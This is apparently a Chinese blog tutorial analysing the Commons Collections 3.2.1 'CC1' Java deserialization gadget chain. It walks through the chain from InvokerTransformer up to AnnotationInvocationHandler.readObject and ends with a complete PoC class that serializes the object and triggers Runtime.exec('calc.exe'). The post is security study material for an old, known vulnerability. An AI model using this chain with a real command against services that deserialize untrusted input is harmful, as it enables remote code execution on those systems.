cc1对jdk有要求:jdk1.8以前(8u71之后已修复不可利用)
Java Archive Downloads - Java SE 8 (oracle.com)
maven依赖
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
分析
以Runtime.getRuntime().exec("calc.exe");
为payload进行分析,从触发类开始写到传入类。
核心目的:传入一个类对象,它的反序列化方法能执行命令,同时执行的命令应该可控。
触发顺序如下:
发送恶意序列化类
AnnotationInvocationHandler.readobject
AbstractInputCheckedMapDecorator.SetValue
TransformedMap.checkSetValue
ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer
我们从下往上看
ChainedTransformer.transform
Transformer.ConstantTransformer
Transformer.InvokerTransformer
首先是Transformer的子类ConstantTransformer和InvokerTransformer
ConstantTransformer
其构造方法接收了一个对象,该对象赋值成员变量,然后在transform方法中将该对象返回
InvokerTransformer
其构造方法接收一个字符串(方法名),类对象数组(参数类型),对象数组(参数),这可以描述一个方法。
其transform方法会接受一个对象输入,然后通过反射调用该对象的某个方法(取决于你构造函数的传参)
例如下面代码可以用来描述
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"}
);
XXX.exec("calc.exe")
ChainedTransformer
其构造函数可以传入应该Transformer数组
在执行transform方法时,会依次执行数组中的transformer方法并将参数传递下去
例如:ChainedTransformer有ABCDE五个Transformer
r1=A.transform()
r2=B.transform(r1)
r3=CA.transform(r2)
……
结合上面ConstantTransformer和InvokerTransformer就可以做到
从ConstantTransformer获得对象,然后通过InvokerTransformer执行该对象的方法
考虑到执行命令的Runtime是单例模式,我们可以通过反射的方式获取类对象,然后反射获取构造方法,调用构造方法获得Runtime,最后调用exec执行命令
System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n" +
" 在transform时将会返回Runtime类A");
ConstantTransformer a=new ConstantTransformer(Runtime.class);
System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n" +
" 在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
InvokerTransformer b=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]});
System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n" +
" 在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
InvokerTransformer c =new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[] {null, new Object[0]});
System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n" +
" 在transform时将会通过D.exec(\"calc.exe\")执行命令");
InvokerTransformer d=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"});
Transformer[] transformers = new Transformer[]{a, b, c, d};
System.out.println("[+]使用ChainedTransformer将该数组链接起来\n" +
" 执行ChainedTransformer.transform将会执行上述链条");
Transformer transformerChain = new ChainedTransformer(transformers);
可惜的是在执行transform方法时才有效果,而不是反序列化时就能触发
TransformedMap
谁能够触发ChainedTransformer的transform方法呢?
TransformedMap的checkSetValue,前提条件:在构造时候传入ChainedTransformer
System.out.println("[+]构造TransformedMap\n" +
" 调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
Map inMap = new HashMap();
inMap.put("value", "cc");
Map outerMap = TransformedMap.decorate(inMap, null, transformerChain);
那么谁又能调用这个checkSetValue呢?
那就是AbstractInputCheckedMapDecorator
AbstractInputCheckedMapDecorator
那么谁调用了这个setValue呢?
在jdk源码中的AnnotationInvocationHandler中的readObject方法调用了!
下载地址:jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)
AnnotationInvocationHandler
终于我们在茫茫代码中找到了一个反序列化方法,在com.reflect.annotation中
但是这个输入的memberValue可控吗?
可控!芜湖起飞
编写代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void mypoc() throws Exception {
System.out.println("[+]构造Transformer数组的第一个参数ConstantTransformer\n 在transform时将会返回Runtime类A");
ConstantTransformer a=new ConstantTransformer(Runtime.class);
System.out.println("[+]构造Transformer数组的第二个参数InvokerTransformer\n 在transform时将会通过A.getMethod(\"getRuntime\")返回getRuntime方法类B");
InvokerTransformer b=new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]});
System.out.println("[+]构造Transformer数组的第三个参数InvokerTransformer\n 在transform时将会通过B.invoke(C)执行getRuntime方法,返回runtime对象");
InvokerTransformer c =new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[] {null, new Object[0]});
System.out.println("[+]构造Transformer数组的第四个参数InvokerTransformer\n 在transform时将会通过D.exec(\"calc.exe\")执行命令");
InvokerTransformer d=new InvokerTransformer("exec",
new Class[]{String.class},
new Object[] {"calc.exe"});
Transformer[] transformers = new Transformer[]{a, b, c, d};
System.out.println("[+]使用ChainedTransformer将该数组链接起来\n 执行ChainedTransformer.transform将会执行上述链条");
Transformer transformerChain = new ChainedTransformer(transformers);
System.out.println("[+]构造TransformedMap\n 调用TransformedMap.checkSetValue能触发ChainedTransformer.transform方法");
Map inMap = new HashMap();
inMap.put("value", "cc");
Map outMap = TransformedMap.decorate(inMap, null, transformerChain);
System.out.println("[+]构造AnnotationInvocationHandler\n 其readobject方法能够触发TransformedMap.checkSetValue");
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor makefunc = cls.getDeclaredConstructor(Class.class, Map.class);
makefunc.setAccessible(true);
Object obj = makefunc.newInstance(Retention.class, outMap);
// 为这个对象生成字节序列
System.out.println("\n[+]序列化");
ByteArrayOutputStream serialize = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(serialize);
oos.writeObject(obj);
oos.close();
// 执行反序列化
System.out.println(" "+Base64.getEncoder().encodeToString(serialize.toByteArray()));
System.out.println("[+]反序列化触发");
ObjectInputStream unserialize = new ObjectInputStream(new ByteArrayInputStream(serialize.toByteArray()));
Object run = (Object) unserialize.readObject();
}
}
执行
完结撒花!
标签:InvokerTransformer,Transformer,链分析,Object,cc1,transform,new,class From: https://www.cnblogs.com/Aixve/p/18126324